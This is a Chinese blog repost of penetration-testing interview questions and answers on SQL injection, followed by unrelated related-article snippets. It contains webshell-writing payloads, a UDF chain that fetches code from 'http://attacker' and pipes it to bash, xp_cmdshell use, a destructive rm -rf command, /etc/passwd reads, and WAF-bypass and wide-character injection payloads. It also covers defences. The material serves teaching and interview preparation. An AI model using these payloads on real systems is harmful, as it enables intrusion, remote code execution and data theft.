2025年常见渗透测试面试题-sql(题目+回答)

news2025/4/18 2:37:33

网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

SQLi

一、发现test.jsp?cid=150 注入点的5种WebShell获取思路

1. 文件写入攻击

2. 日志文件劫持

3. UDF提权执行命令

4. 二次注入组合攻击

5. 存储过程滥用(MSSQL场景)

二、工具直接写入WebShell的条件要求

三、MySQL 5.0+与5.0-版本注入差异对比

1. 元数据获取方式

2. 盲注技术差异

3. 函数支持对比

四、SQLMap实战注入方法

1. GET型注入检测

3. 文件加载式注入

五、SQL注入Bypass技巧大全

1. 特殊符号混淆

2. 编码转换技术

3. 逻辑等价替换

4. 参数污染攻击

5. 数据库特性利用

六、SQL注入成因与防御体系

1. 漏洞成因

2. 防御方案

3. 注入类型扩展

4. 非数据利用方式

七、宽字符注入深度解析

1. 漏洞原理

2. Payload构造

3. 修复方案

八、SQL注入判断方法论

1. 基础检测技巧

2. 高级检测手段

3. 工具自动化检测

九、变形注入突破思路

1. 编码转换技术

2. 语法结构混淆

3. 协议层绕过

SQLi

发现 test.jsp?cid=150 注入点,你有哪几种思路获取 webshell?

以下链接存在 SQ,用工具对目标站直接写入一句话,需要哪些条件?

Mysql的网站注入,5.0以上和5.0以下有什么区别?

sqlmap如何对一个注入点注入,sqlmap如何注入一个post的包?

你都了解哪些SQL注入的bypass技巧?

介绍 SQL 注入漏洞成因,如何防范?注入方式有哪些?除了数据库数据,利用方式还有哪些?

宽字符注入的原理?如何利用宽字符注入漏洞,payload如何构造及修复方案?

如何判断SQL注入,有哪些方法,说说你最常用的?

L注入漏洞,对于这个变形注入,你有什么思路?
mysql注入点

一、发现test.jsp?cid=150 注入点的5种WebShell获取思路

1. 文件写入攻击

前置条件

  • MySQL用户具备FILE权限
  • 已知Web目录绝对路径(如/var/www/html
  • secure_file_priv未限制写入路径

Payload构造

sqlUNION SELECT 1,"<?php @eval($_POST['cmd']);?>",3 INTO OUTFILE '/var/www/shell.php' -- 使用CHAR编码绕过过滤: UNION SELECT 1,CHAR(60,63,112,104,112...),3 INTO OUTFILE '/path/shell.php' 
2. 日志文件劫持

操作流程

sqlSET global general_log = 'ON'; SET global general_log_file = '/var/www/log.php'; SELECT '<?php system($_GET["cmd"]);?>'; -- 触发日志记录后访问/log.php?cmd=id 
3. UDF提权执行命令

技术链

bash# 上传恶意so文件到插件目录(需lib_mysqludf_sys.so ) wget http://attacker/udf.so -P /usr/lib/mysql/plugin/ CREATE FUNCTION sys_exec RETURNS int SONAME 'udf.so'; SELECT sys_exec('curl http://attacker/shell | bash');
4. 二次注入组合攻击

场景示例

  1. 通过注入修改用户信息字段为恶意代码
sqlUPDATE profile SET bio='<?php eval($_POST[x]);?>' WHERE uid=1001 
  1. 触发用户信息导出功能生成bio_1001.php
5. 存储过程滥用(MSSQL场景)
sqlEXEC xp_cmdshell 'echo ^<%@ Page Language="C#" %>^ > C:\web\shell.aspx' 

二、工具直接写入WebShell的条件要求

条件类型具体要素验证方法
数据库权限FILE权限(SELECT file_priv FROM mysql.usersqlmap --sql-shell执行查询
路径可控性secure_file_priv值为空或包含Web目录SHOW VARIABLES LIKE 'secure%';
物理路径泄露通过报错信息/phpinfo探针获取构造错误?id=1 AND 1=2触发报错
字符处理绕过引号闭合与编码转换使用Hex编码0x3c3f706870...
WAF防御规避分块传输+注释符混淆sqlmap --tamper=chunked

三、MySQL 5.0+与5.0-版本注入差异对比

1. 元数据获取方式
  • 5.0+:通过information_schema快速获取表结构
    sqlSELECT table_name FROM information_schema.tables WHERE table_schema=database()
  • 5.0-:需暴力猜解表名(如admin/user/article
2. 盲注技术差异
  • 5.0+:利用BENCHMARK()制造延时
    sqlIF(SUBSTR((SELECT password),1,1)='a',BENCHMARK(5000000,MD5('test')),0)
  • 5.0-:依赖布尔响应差异
3. 函数支持对比
功能5.0+支持5.0-限制
文件读写LOAD_FILE()可用依赖特殊配置
系统命令执行需UDF或存储过程基本不可行
报错信息利用updatexml()触发仅支持简单错误回显

四、SQLMap实战注入方法

1. GET型注入检测
bashsqlmap -u "http://site.com/test.jsp?cid=150" --batch --technique=BEUST -- 参数说明: -- `-batch`:自动选择默认选项 -- `--technique`:指定注入技术(B:布尔盲注/E:报错注入/U:联合查询/S:时间盲注/T:基于时间) #### 2. POST型注入操作 ```bash sqlmap -u "http://site.com/login" --data="user=admin&pass=123" --method=POST -- 高级用法: sqlmap -r request.txt --proxy="http://127.0.0.1:8080" --risk=3 --level=5 
3. 文件加载式注入
bash# 保存请求到request.txt (包含Cookie和POST数据) sqlmap -r request.txt --dbs 

五、SQL注入Bypass技巧大全

1. 特殊符号混淆
sqlSELECT/*![40000 1,*/2,3 FROM users WHERE id=1--%0a -- 使用内联注释绕过关键字过滤 
2. 编码转换技术
  • URL编码UNION%20SELECTUNION SELECT
  • Unicode编码U+0053ELECTSELECT
  • 双重编码%2553ELECTSELECT
3. 逻辑等价替换
sqlWHERE id=1 || 1=1 -- 替代OR 1=1 WHERE id=1 DIV 1 -- 替代AND 1=1 
4. 参数污染攻击
httpGET /test?id=1&id=2 UNION SELECT 1,@@version,3 
5. 数据库特性利用
sql/*!50000SELECT*/ 1 FROM users -- MySQL版本条件执行 

六、SQL注入成因与防御体系

1. 漏洞成因
  • 直接拼接"SELECT * FROM users WHERE id=" + request.getParameter("id")
  • 错误处理不当:显示数据库错误信息(如MySQL错误栈)
2. 防御方案
  • 输入过滤
    python# Python示例:参数化查询 cursor.execute("SELECT * FROM users WHERE id=%s", (user_input,))
  • 最小权限原则
    sqlGRANT SELECT ON db.users TO 'webuser'@'%'; REVOKE FILE,EXECUTE ON *.* FROM'webuser'@'%';
3. 注入类型扩展
类型检测方法利用场景
联合查询注入ORDER BY测试列数快速获取数据
报错注入AND 1=updatexml(1,concat(0x7e,version()),1)信息泄露
时间盲注IF(1=1,SLEEP(5),0)无回显场景
4. 非数据利用方式
  • 文件系统操作
    sqlLOAD_FILE('/etc/passwd') INTO OUTFILE '/tmp/passwd'
  • 系统命令执行(需条件):
    sqlsys_exec('rm -rf /tmp/*')

七、宽字符注入深度解析

1. 漏洞原理

GBK编码中%bf%5c会被解析为汉字"縗",导致单引号逃逸:

  • 原始输入:id=1%bf'
  • 转义后:1縗'%bf%5c%27縗'
2. Payload构造
httphttp://site.com/test.php?id=1%bf%27%20AND%201=1%20--+ -- 解码后等价于:id=1' AND 1=1 -- 
3. 修复方案
  • 统一字符集
    phpmysqli_set_charset($conn, "utf8mb4");
  • 过滤策略
    php$id = preg_replace('/[^\x00-\x7F]/', '', $_GET['id']);

八、SQL注入判断方法论

1. 基础检测技巧
  • 单引号测试
    http://site.com/?id=1' → 观察是否出现数据库错误
  • 布尔逻辑检测
    ?id=1 AND 1=1 vs ?id=1 AND 1=2 → 页面内容差异
2. 高级检测手段
  • 时间盲注探测
    sqlIF(SUBSTR((SELECT password),1,1)='a',SLEEP(5),0)
  • 报错注入利用
    sqlAND GTID_SUBSET(CONCAT(0x7e,(SELECT USER()),0x7e),1)
3. 工具自动化检测
bashsqlmap -u "http://site.com/test.jsp?cid=150" --batch --forms 

九、变形注入突破思路

1. 编码转换技术
  • Hex编码绕过
    sqlSELECT 0x73656C656374 FROM users -- 等价于"SELECT"
  • Base64解码利用
    sqlSELECT FROM_BASE64('c2VsZWN0') AS cmd;
2. 语法结构混淆
sqlSELECT 1 FROM users WHERE id=1||1=1 -- 替代OR 1=1 
3. 协议层绕过
httpPOST /test HTTP/1.1 Transfer-Encoding: chunked 1 id=1 UNION/* 0 SELECT 1,2,3 FROM users 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2331213.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【RabbitMQ】队列模型

1.概述 RabbitMQ作为消息队列&#xff0c;有6种队列模型&#xff0c;分别在不同的场景进行使用&#xff0c;分别是Hello World&#xff0c;Work queues&#xff0c;Publish/Subscribe&#xff0c;Routing&#xff0c;Topics&#xff0c;RPC。 下面就分别对几个模型进行讲述。…

StarRocks 助力首汽约车精细化运营

作者&#xff1a;任智红&#xff0c;首汽约车大数据负责人 更多交流&#xff0c;联系我们&#xff1a;https://wx.focussend.com/weComLink/mobileQrCodeLink/334%201%202/ffbe5 导读&#xff1a; 本文整理自首汽约车大数据负责人任智红在 StarRocks 年度峰会上的演讲&#xf…

痉挛性斜颈康复助力:饮食调养指南

痉挛性斜颈患者除了积极治疗&#xff0c;合理饮食也能辅助缓解症状&#xff0c;提升生活质量。其健康饮食可从以下方面着手&#xff1a; 高蛋白质食物助力肌肉修复 痉挛性斜颈会导致颈部肌肉异常收缩&#xff0c;消耗较多能量&#xff0c;蛋白质有助于肌肉的修复与维持。日常可…

mysql镜像创建docker容器,及其可能遇到的问题

前提&#xff0c;已经弄好基本的docker服务了。 一、基本流程 1、目录准备 我自己的资料喜欢放在 /data 目录下&#xff0c;所以老规矩&#xff1a; 先进入 /data 目录&#xff1a; cd /data 创建 mysql 目录并进入&#xff1a; mkdir mysql cd mysql 2、镜像查找 docke…

JavaEE——线程的状态

目录 前言1. NEW2. TERMINATED3. RUNNABLE4. 三种阻塞状态总结 前言 本篇文章来讲解线程的几种状态。在Java中&#xff0c;线程的状态是一个枚举类型&#xff0c;Thread.State。其中一共分为了六个状态。分别为&#xff1a;NEW,RUNNABLE,BLOCKED,WAITING,TIMED_WAITING, TERMI…

RuntimeError: Error(s) in loading state_dict for ChartParser

一 bug错误 最近使用千问大模型有一个bug&#xff0c;报错信息如下 raise RuntimeError(Error(s) in loading state_dict for {}:\n\t{}.format( RuntimeError: Error(s) in loading state_dict for ChartParser:Unexpected key(s) in state_dict: "pretrained_model.em…

2025 年安徽交安安全员考试:利用记忆宫殿强化记忆​

安徽考生在面对交安安全员考试繁杂的知识点时&#xff0c;记忆宫殿是强大的记忆工具。选择一个熟悉且空间结构清晰的场所作为记忆宫殿&#xff0c;如自己居住的房屋。将房屋的不同区域&#xff0c;如客厅、卧室、厨房等&#xff0c;分别对应不同知识板块&#xff0c;像客厅对应…

安全编码课程 实验6 整数安全

实验项目 实现安全计数器&#xff1a;实现 Counter 结构&#xff0c;确保计数范围为 0~100。 实验要求&#xff1a; 1、使用 struct 封装计数值value&#xff1b; 2、计数器初值为 0&#xff1b; 3、increment() 方法增加计数&#xff0c;但不能超过 100&#xff1b; 4、decrem…

解决上传PDF、视频、音频等格式文件到FTP站点时报错“将文件复制到FTP服务器时发生错误。请检查是否有权限将文件放到该服务器上”问题

一、问题描述 可以将文本文件(.txt格式),图像文件(.jpg、.png等格式)上传到我们的FTP服务器上;但是上传一些PDF文件、视频等文件时就会报错“ 将文件复制到FTP服务器时发生错误。请检查是否有权限将文件放到该服务器上。 详细信息: 200 Type set to l. 227 Entering Pas…

【Linux操作系统】:信号

Linux操作系统下的信号 一、引言 首先我们可以简单理解一下信号的概念&#xff0c;信号&#xff0c;顾名思义&#xff0c;就是我们操作系统发送给进程的消息。举个简单的例子&#xff0c;我们在写C/C程序的时候&#xff0c;当执行a / 0类似的操作的时候&#xff0c;程序直接就挂…

经典频域分析法(Bode图、Nyquist判据) —— 理论、案例与交互式 GUI 实现

目录 经典频域分析法(Bode图、Nyquist判据) —— 理论、案例与交互式 GUI 实现一、引言二、经典频域分析方法的基本原理2.1 Bode 图分析2.2 Nyquist 判据三、数学建模与公式推导3.1 一阶系统的频域响应3.2 多极系统的 Bode 图绘制3.3 Nyquist 判据的数学描述四、经典频域分析…

使用scoop一键下载jdk和实现版本切换

安装 在 PowerShell 中输入下面内容&#xff0c;保证允许本地脚本的执行&#xff1a; set-executionpolicy remotesigned -scope currentuser然后执行下面的命令安装 Scoop&#xff1a; iwr -useb get.scoop.sh | iex国内用户可以使用镜像源安装&#xff1a;powershell iwr -us…

对状态模式的理解

对状态模式的理解 一、场景二、不采用状态模式1、代码2、缺点 三、采用状态模式1、代码1.1 状态类1.2 上下文&#xff08;这里指&#xff1a;媒体播放器&#xff09;1.3 客户端 2、优点 一、场景 同一个东西&#xff08;例如&#xff1a;媒体播放器&#xff09;&#xff0c;有一…

vue2(webpack)集成electron和 electron 打包

前言 之前发过一篇vue集成electron的文章&#xff0c;但是用vue3vite实现的&#xff0c;在vue2webpack工程可能不适用&#xff0c;所以这篇文章就主要介绍vue2webpack集成electron方法 创建项目 vue create vue-electron-demo目录架构 vue-electron-demo/ ├── src/ …

C++内存管理优化实战:提升应用性能与效率

&#x1f9d1; 博主简介&#xff1a;CSDN博客专家、CSDN平台优质创作者&#xff0c;高级开发工程师&#xff0c;数学专业&#xff0c;拥有高级工程师证书&#xff1b;擅长C/C、C#等开发语言&#xff0c;熟悉Java常用开发技术&#xff0c;能熟练应用常用数据库SQL server,Oracle…

redis数据迁移之通过redis-dump镜像

这里写目录标题 一、redis-dump 镜像打包1.1 安装windows docker1.2 idea项目创建1.3 idea镜像打包 二、redis数据迁移2.1 数据导出2.2 数据导入 一、redis-dump 镜像打包 没有找到可用的redis-dump镜像&#xff0c;需要自己打包一下&#xff0c;这里我是在idea直接打包的 1.…

redis导入成功,缺不显示数据

SpringBootTest class SecurityApplicationTests {AutowiredStringRedisTemplate template; //添加这句代码&#xff0c;自动装载&#xff0c;即可解决文章三处代码报错Testvoid contextLoads() {String compact Jwts.builder().signWith(Jwts.SIG.HS512.key().build()).subj…

从表格到序列:Swift 如何优雅地解 LeetCode 251 展开二维向量

文章目录 摘要描述题解答案题解代码分析示例测试及结果时间复杂度空间复杂度总结 摘要 在这篇文章中&#xff0c;我们将深入探讨 LeetCode 第 251 题——“展开二维向量”的问题。通过 Swift 语言&#xff0c;我们不仅会提供可运行的示例代码&#xff0c;还会结合实际场景进行…

小型园区网实验

划分VLAN SW3 [sw3]vlan batch 2 3 20 30 [sw3]interface GigabitEthernet 0/0/1 [sw3-GigabitEthernet0/0/1]port link-type access [sw3-GigabitEthernet0/0/1]port default vlan 2 [sw3-GigabitEthernet0/0/1]int g0/0/2 [sw3-GigabitEthernet0/0/2]port link-type acces…

c# 数据结构 链表篇 有关单链表的一切

本人能力有限,本文仅作学习交流与参考,如有不足还请斧正 目录 0.单链表好处 0.5.单链表分类 1.无虚拟头节点情况 图示: 代码: 头插/尾插 删除 搜索 遍历全部 测试代码: 全部代码 2.有尾指针情况 尾插 全部代码 3.有虚拟头节点情况 全部代码 4.循环单链表 几个…